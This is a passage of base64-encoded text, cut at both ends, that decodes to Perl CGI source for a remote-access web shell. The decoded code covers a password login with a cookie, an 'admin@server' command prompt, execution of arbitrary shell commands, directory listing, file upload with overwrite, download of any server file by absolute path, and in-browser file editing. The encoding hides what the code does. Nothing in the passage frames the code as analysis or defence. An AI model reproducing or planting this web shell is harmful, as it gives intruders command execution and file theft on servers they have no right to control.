glpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYT